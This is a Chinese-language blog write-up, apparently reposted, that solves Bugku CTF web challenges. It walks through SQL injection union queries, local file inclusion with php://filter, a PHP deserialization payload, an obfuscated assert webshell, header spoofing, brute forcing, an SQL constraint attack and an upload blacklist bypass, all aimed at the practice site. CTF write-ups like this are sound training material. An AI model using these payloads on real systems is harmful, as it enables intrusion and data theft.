Bugku web(1—35)

1.web2

打开网页:

哈哈,其实按下F12你就会发现flag。

2.计算器

打开网页,只是让你输入计算结果,但是发现只能输入一个数字,这时按下F12,修改一下参数,使之可以输入多个数字,修改后输入结果就拿到flag了。

3.web基础$_GET 30

打开网页,审计一下大概是要让其得到一个what=flag,于是在URL后面加上?what=flag,就得到flag了。

4.web基础$_POST 30

打开网页,审计一下大概是要让你上传一个what=flag,用hackbar来post一下就行了。

5.矛盾

审计代码,发现大概是要得到num=1,但是num又不是数字。这样就要想办法了,?num=1e0.11,传递一下就行了。(让num是1但又不是数字)

6.web3

打开网页,查看源代码,发现最后有一串HTML编码,解码就行了。

7.域名解析

Linux、Windows都可以,找到Windows为 c:\windows\system32\drivers\etc\hosts ,linux下为etc/hosts,修改如下:

保存后访问 flag.baidu.com ,就拿到flag了。

8.你必须让他停下

先来一个不建议用单页能得出flag的方法。

打开网页发现一直在不断跳转,猜想可能源码中有这样的语句使其一直跳转,于是查看源代码,果然发现一段代码:

于是想到修改一下页面代码,F12,找到对应部分,将

window.location.reload(); 删去,由于页面是不断跳转的,也许你修改的源码真是flag所在网页的源码,那你就能直接在flag is here,这里看到flag。

但是还是不建议这样做,正确的做法应该是:

用bp抓包,送到repeater里,一帧一帧的go,就是一直点go,就能拿到flag了。

9.本地包含

审计一下代码,大概意思就是接受一个hello的值赋给a,然后再输出a,上面有提示flag.php,可能flag在这个文件中。

这个时候需要传递一个hello,且将文件中文本赋给hello,用到一个PHP函数:file_get_contents(),将URL改成:

开始破解,完成后发现

所以密码是:hack

输入后就拿到flag了。

14.管理员系统

打开链接发现是要登陆,(这里sql注入不行),自己随便输入用户名密码,会有这样的提示:

  “本地管理员”......“本地”......

  得到新思路:伪装成本地访问:

  抓包

  改包:Headers中增添一对键值对:  X-Forwarded-For : 127.0.0.1 

  F12发现有一串base64码,解码为test123,猜想是密码,输入用户名和密码,用bp抓包,再改包,送包就会发现flag了。

15.web4

看看源代码有escape编码,unescape一下得到代码,可以看到:

if("67d709b2b54aa2aa648cf6e87a7114f1"==a.value)return!0;

输入67d709b2b54aa2aa648cf6e87a7114f1提交就拿到flag了。

16.flag在index里

老司机看到文件在index(php文件)中,估计很快能拿到flag。

这里用到一个读取php文件源码的方法,是文件包含漏洞(本地文件包含(Local File Include),简称 LFI。),先说解决方法再解释。(file关键字是提示,其实也是CTF的套路)

构造URL:http://123.206.87.240:8005/post/index.php?file=php://filter/read/convert.base64-encode/resource=index.php

然后来解释php://filter/read/convert.base64-encode/resource=index.php

首先这是一个file关键字的get参数传递,php://是一种协议名称,php://filter/是一种访问本地文件的协议,/read=convert.base64-encode/表示读取的方式是base64编码后,resource=index.php表示目标文件为index.php。这样就能读取文件源码并以base64的 方式输出。

将base64码解码就拿到flag了。

17.输入密码查看flag

打开网页,由URL想到爆破,于是随便输入5个数字,用bp抓包,送到intruder中破解,

在Positions中点击clear清除burp认为需要猜测的密码,然后选中12345(也就是我们刚才输入的密码,点击add)

 

然后设置线程,电脑差不多的就直接设置为100(不设置能慢死)

 输入就有flag了。

18.点击一百万次

要点击一百万次啊。。。

肯定不是一个个点出来的。查看源码,于是看到

 大概就是clicks>=1000000时,输出flag,既然他想要个clicks,我们就给他传个,用hackbar去post:clicks=1000001(可以更大),就拿到flag了。

19.备份是个好习惯

备份是个好习惯,试了很多方法,不行,于是百度,得到是让寻找备份文件的。

小知识:

  1.  备份文件一般情况是在后缀名后加的*.swp,*.bak

   2. http://120.24.86.145:8002/web16/ 默认访问的是该路径的index.php文件

于是将URL改成123.206.87.240:8002/web16/index.php.bak,回车,下载到一个php文件,里面是这样的代码:

<?php
/**
 * Created by PhpStorm.
 * User: Norse
 * Date: 2017/8/6
 * Time: 20:22
*/

include_once "flag.php";
ini_set("display_errors", 0);
$str = strstr($_SERVER['REQUEST_URI'], '?');
$str = substr($str,1);
$str = str_replace('key','',$str);
parse_str($str);
echo md5($key1);

echo md5($key2);
if(md5($key1) == md5($key2) && $key1 !== $key2){
    echo $flag."取得flag";
}
?>

整段代码的意思是将get的两个参数中的key替换为空(这里可以用kekeyy绕过),然后对key1,key2的值进行md5加密,并进行比较,

如果md5加密的值一样而未加密的值不同,就输出flag.

可以用两个数组进行绕过?kkeyey1[]=1&kkeyey2[]=2

或是使用哈希值为0E开头的字符串,常见的字符串有这几种

QNKCDZO
240610708
s878926199a
s155964671a
s214587387a
s214587387a

这是两种绕过方法。

http://123.206.87.240:8002/web16/index.php?kekeyy1[]=1&kekeyy2[]=2

如此就能绕过并拿到flag了。

20.成绩单

输入1,2,3都能查询到学生的成绩,下面尝试:

输入1',返回异常;输入1'--+,返回异常;输入1'#,返回正常。说明--+被过滤了,用#可以正常注释。

然后猜字段,根据页面有名字,三个成绩,可能是四个字段,于是1' order by 4#,无异常,而1' order by 5#返回异常,说明有四个字段。

接着开始注入,暴库:(1) 0'  union select 1,2,3,database()#  得到数据库名:skctf_flag

(2)暴表:0' union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema='skctf_flag'#

得到表表名:fl4g 与 sc,flag应该在fl4g里

(3)爆字段:0' union select 1,2,3,group_concat(column_name) from information_columns where table_name='fl4g'#

得到字段名:skctf_flag

(4)0' union select 1,2,3,skctf_flag from fl4g#

拿到flag。

21.秋名山老司机

这个用py在网上找了wp去模仿,但是总是错误,先不写。

22.速度要快

查看源码:

</br>我感觉你得快点!!!<!-- OK ,now you have to post the margin what you find -->

意思就是让我们上传一个我们得到的margin,用bp抓包,在repeater中go会发现在response中有flag,但是多go几次发现flag会变化,而且flag看着像是base64编码,于是解码试试,还真能解出来,但是肯定不对,因为既让每次的flag都不一样,那么一次解出来的肯定不对,于是想到写个脚本来读取headers中的flag再解码后post来尝试。

脚本如下:

import requests
import base64
import re
url='http://123.206.87.240:8002/web6/'
r=requests.session()
s=r.get(url)
flag=s.headers['flag']
mid=base64.b64decode(flag)
mid=mid.decode()
flag=base64.b64decode(mid.split(':')[1])
data={'margin':flag}
print (r.post(url,data=data).text)

 脚本有所借鉴,里面倒数第三行又进行了一次base64解码,但是大佬门的博客都没有写为什么,这里是我的理解:

源码是让上传一个margin,百度一下这个单词,发现是css的一个属性,是说边框的长宽等属性的,于是猜想上传的是数字,将bp里的flag解码两次,正好就是数字(类似于宽和高),于是才在脚本中进行了两次base64解码。

23.cookies欺骗

打开网页,一串毫无作用的字符串,不用管,看url发现,好像有base64编码,而且有line且没有值。

将base64解码,发现是文件名keys.txt(猜想可能flag在这个文件里),这里我们试试index.php,于是将index.php用base64加密,放在原来文件名的地方,且将line后面加上值,会发现页面有回显,改变line的值其显示的东西不一样,由于一个个改太麻烦,写个脚本看看究竟显示的是什么:

import requests
for i in range(30):
	url='http://123.206.87.240:8002/web11/index.php?line='+str(i)+'&filename=aW5kZXgucGhw'
	r=requests.get(url)
	print(r.text)

然后得到下面的php程序:

<?php

error_reporting(0);

$file=base64_decode(isset($_GET['filename'])?$_GET['filename']:"");

$line=isset($_GET['line'])?intval($_GET['line']):0;

if($file=='') header("location:index.php?line=&filename=a2V5cy50eHQ=");

$file_list = array(

'0' =>'keys.txt',

'1' =>'index.php',

);



if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin'){//重点看这里

$file_list[2]='keys.php';

}



if(in_array($file, $file_list)){

$fa = file($file);

echo $fa[$line];

}

?>

由于题上也说了是cookies欺骗,于是我们着重看cookies这一段,发现可能目的是让margin元素的值等于margin,于是打开hackbar,用最开始的网页(原始网页文件是keys.txt,我们也猜测flag在这里面)使cookies为margin=margin

 执行后查看源码就找到flag了。(或者用bp抓包改包)

24.never give up

查看源码,发现:

<!--1p.html-->

于是访问view-source:http://123.206.87.240:8006/test/1p.html

发现base64解码,解码发现是url编码,在解码,出现如下代码:

";if(!$_GET['id'])
{
	header('Location: hello.php?id=1');
	exit();
}
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.'))
{
	echo 'no no no no no no no';
	return ;
}
$data = @file_get_contents($a,'r');
if($data=="bugku is a nice plateform!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
{
	require("f4l2a3g.txt");
}
else
{
	print "never never never give up !!!";
}


?>

然而这一大堆有用的不多,根据观察flag好像在f4l2a3g.txt中,于是访问view-source:http://123.206.87.240:8006/test/f4l2a3g.txt

拿到flag。

25.welcome to bugkuctf

小白一个,模仿大佬的做法。

首先查看源码,

<!--  
$user = $_GET["txt"];  
$file = $_GET["file"];  
$pass = $_GET["password"];  
  
if(isset($user)&&(file_get_contents($user,'r')==="welcome to the bugkuctf")){  
    echo "hello admin!<br>";  
    include($file); //hint.php  
}else{  
    echo "you are not admin ! ";  
}  
 -->  

 意思就是user接收到的txt的值为welcome to the bugkuctf,之后会执行if中的语句,而且会包含一个文件,根据提示这个文件就是hint.php了,这里用到两个php的协议,向php传递txt和file的值的时候,用到:php://input  和  php://filter.

用hackbar传递:

 会出现一段base64码,拿去解码,得到一段代码(hint.php文件的代码):

<?php    
    
class Flag{//flag.php    
    public $file;    
    public function __tostring(){    
        if(isset($this->file)){    
            echo file_get_contents($this->file);   
            echo "<br>";  
        return ("good");  
        }    
    }    
}    
?>    

 到这里好像卡住了,于是再利用上面的php://filter协议查看index.php的代码:

<?php  
$txt = $_GET["txt"];  
$file = $_GET["file"];  
$password = $_GET["password"];  
  
if(isset($txt)&&(file_get_contents($txt,'r')==="welcome to the bugkuctf")){  
    echo "hello friend!<br>";  
    if(preg_match("/flag/",$file)){ 
		echo "不能现在就给你flag哦";
        exit();  
    }else{  
        include($file);   
        $password = unserialize($password);  
        echo $password;  
    }  
}else{  
    echo "you are not the number of bugku ! ";  
}  
  
?>  
  
<!--  
$user = $_GET["txt"];  
$file = $_GET["file"];  
$pass = $_GET["password"];  
  
if(isset($user)&&(file_get_contents($user,'r')==="welcome to the bugkuctf")){  
    echo "hello admin!<br>";  
    include($file); //hint.php  
}else{  
    echo "you are not admin ! ";  
}  
 -->  

 结合着两段代码,发现,flag应该在flag.php中,但是我们如果传递flag.php,会被preg_match()正则匹配到,所以重点就在password那一段,但是这里有一个password的反序列化,就是说我们不能被正则匹配到,而且我们传递的password还是要被序列化过的。

于是我们用一段php代码:

<?php
class Flag{//flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
			echo "<br>";
		return ("good");
        }  
    }  
}  

$a=new Flag();
$a->file="flag.php";
$a=serialize($a);
print($a);
?>

得到:O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

 然后将得到的结果传给password:

查看源码就得到flag了。

解释一下为什么要这么做:从上面的password那一段,我们需要将password序列化,而且我们的目标是输出flag,即输出flag.php的内容,所以我们根据hint.php(能将文件内容输出)创建一个Flag类$a,然后将flag.php赋值给该类中的file变量,此时对于a来说,a所包含的就是Flag类中的内容(其中有echo file_get_contents($this->file);),所以当我们将啊序列化后传递然后由password接收再反序列化,此时的password就是我们代码中的a,我们输出password的时候就等于输出了a(其中有echo file_get_contents($this->file);),所以这样就能输出flag了。

26.过狗一句话

观察提示:

<?php 
$poc="a#s#s#e#r#t"; 
$poc_1=explode("#",$poc); 
$poc_2=$poc_1[0].$poc_1[1].$poc_1[2].$poc_1[3].$poc_1[4].$poc_1[5]; 
$poc_2($_GET['s']);
?>

 就是说将poc以#为分隔符截开赋给poc_1,再将poc_1数组中的元素连接赋给poc_2,完成后poc_2就是assert,所以最后一句就是assert($_GET['s']),所以就是执行$_GET['s']。

这个题需要扫描一下当前目录下的文件,用到scandir(),构造payload:http://123.206.87.240:8010/?s=print_r(scandir(%27./%27))

print_r输出数组,scandir扫描当前文件夹并以数组形式返回

于是用url:http://123.206.87.240:8010/f14g.txt

就拿到flag了。

27.字符?正则?

打开网页,代码的意思就是我们要传递一个id使其满足正则表达式。

"/key.*key.{4,7}key:\/.\/(.*key)[a-z][[:punct:]]/i"

对应这个正则表达式来写id的值,参考下面的符号:

1.表达式直接写出来的字符串直接利用,如key
2.“.”代表任意字符
3.“*”代表一个或一序列字符重复出现的次数,即前一个字符重复任意次
4.“\/”代表“/”
5.[a-z]代表a-z中的任意一个字符
6.[[:punct:]]代表任意一个字符,包括各种符号
7./i代表大小写不敏感
8.{4-7}代表[0-9]中数字连续出现的次数是4-7次
于是构造一个payload(不唯一):http://123.206.87.240:8002/web10/?id=key2key22222key:/f/keyz;

就能拿到flag了。

28.前女友(SKCTF)

查看源代码,有个code.txt,打开看看什么意思:

<?php
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
    $v1 = $_GET['v1'];
    $v2 = $_GET['v2'];
    $v3 = $_GET['v3'];
    if($v1 != $v2 && md5($v1) == md5($v2)){
        if(!strcmp($v3, $flag)){
            echo $flag;
        }
    }
}
?>

 意思是:传递v1,v2,v3的值,而且v1,v2的md5加密值相同(可以用数组绕过,MD5处理数组返回null),然后v3的值要和flag的值相等(利用strcmp()函数的漏洞)

构造payload:http://123.206.31.85:49162/?v1[]=1&v2[]=2&v3[]=5

就拿到flag了。

29.login1(SKCTF)

自己注册一个尝试登陆:

 

题目有hint:SQL约束攻击

于是用得到SQL约束攻击,关于SQL约束攻击,参考:传送门

(其实基本原理就是sql查找时会过滤掉空格,我们注册时用一直账号加上空格为用户名,然后就能用我们这个登陆过滤掉空格后的真实账号才能登陆的系统)

当我们尝试用admin注册时,提示已经被注册,那这个可能就是管理员账号了。

根据SQL约束攻击原理,我们这样注册:

用户名:admin                      (admin后面有很多空格)

密码按照要求随便设。

再用注册成功的账号登陆就拿到flag了。

30.你从哪里来

打开网页出现:are you from google?

貌似是让用Google进入,然而并不行,其实是将referer设为https://www.google.com

就拿到flag了。

31.md5 collision(NUPT_CTF)

题目是MD5碰撞,而且页面显示input a,于是我们将用来碰撞的MD5值用a传过去:

http://123.206.87.240:9009/md5.php?a=s878926199a

常用的碰撞的MD5:

0e开头的md5和原值:
 
s878926199a
0e545993274517709034328855841020
s155964671a
0e342768416822451524974117254469
s214587387a
0e848240448830537924465865611904
s214587387a
0e848240448830537924465865611904
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s1885207154a
0e509367213418206700842008763514
s1502113478a
0e861580163291561247404381396064
s1885207154a
0e509367213418206700842008763514
s1836677006a
0e481036490867661113260034900752
s155964671a
0e342768416822451524974117254469
s1184209335a
0e072485820392773389523109082030
s1665632922a
0e731198061491163073197128363787
s1502113478a
0e861580163291561247404381396064
s1836677006a
0e481036490867661113260034900752
s1091221200a
0e940624217856561557816327384675
s155964671a
0e342768416822451524974117254469
s1502113478a
0e861580163291561247404381396064
s155964671a
0e342768416822451524974117254469
s1665632922a
0e731198061491163073197128363787
s155964671a
0e342768416822451524974117254469
s1091221200a
0e940624217856561557816327384675
s1836677006a
0e481036490867661113260034900752
s1885207154a
0e509367213418206700842008763514
s532378020a
0e220463095855511507588041205815
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s214587387a
0e848240448830537924465865611904
s1502113478a
0e861580163291561247404381396064
s1091221200a
0e940624217856561557816327384675
s1665632922a
0e731198061491163073197128363787
s1885207154a
0e509367213418206700842008763514
s1836677006a
0e481036490867661113260034900752
s1665632922a
0e731198061491163073197128363787
s878926199a
0e545993274517709034328855841020

32.程序员本地网站

打开并发现不了什么,由本地想到构造X-Forwarded-For头

 33.各种绕过

<?php
highlight_file('flag.php');
$_GET['id'] = urldecode($_GET['id']);
$flag = 'flag{xxxxxxxxxxxxxxxxxx}';
if (isset($_GET['uname']) and isset($_POST['passwd'])) {
    if ($_GET['uname'] == $_POST['passwd'])

        print 'passwd can not be uname.';

    else if (sha1($_GET['uname']) === sha1($_POST['passwd'])&($_GET['id']=='margin'))

        die('Flag: '.$flag);

    else

        print 'sorry!';

} 

审计代码,发现需要的条件:sha1($_GET['uname']) === sha1($_POST['passwd'])&和($_GET['id']=='margin')

所以

就能 拿到flag了。

34.web8

这个题找到了两种方法:

方法一:

<?php
extract($_GET);
if (!empty($ac))
{
$f = trim(file_get_contents($fn));
if ($ac === $f)
{
echo "<p>This is flag:" ." $flag</p>";
}
else
{
echo "<p>sorry!</p>";
}
}
?>

审计发现需要让$ac === $f,那我们就传递ac和fn,并且让传递过去的值相等,由于fn为文件,这里用php://input传递:

 就能拿到flag了。

方法2:

题目提示为txt????

审计代码,fn为文件,所以可能有个flag.txt,也就是fn文件,

访问http://123.206.87.240:8002/web8/flag.txt

看到flag.txt文件的内容为flags,根据方法1的分析,所以我们的这样构造payload:http://123.206.87.240:8002/web8/?ac=flags&fn=flag.txt

就拿到flag了

35.细心

开始很蒙圈,看了大佬的wp才会。

需要访问robots.txt,(一般网页都有这个文件)

访问发现了resusl.php,于是再访问resusl.php,出现

 这有代码,再结合题目说变成admin,于是传递x=admin就拿到flag了。

36.求getshell

上传一个png文件发现提示My name is margin,give me a image file not a php

然后也尝试上传php文件,但是依然不行,这里显然对文件类型和后缀进行了检测,

这里用到的是:后缀黑名单检测和类型检测

于是我们利用文件类型的大小写来绕过,并尝试修改后缀,在分别将后缀名修改为php2, php3, php4, php5, phps, pht, phtm, phtml(php的别名),发现只有php5没有被过滤

 

转载于:https://www.cnblogs.com/RenoStudio/p/10355180.html

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值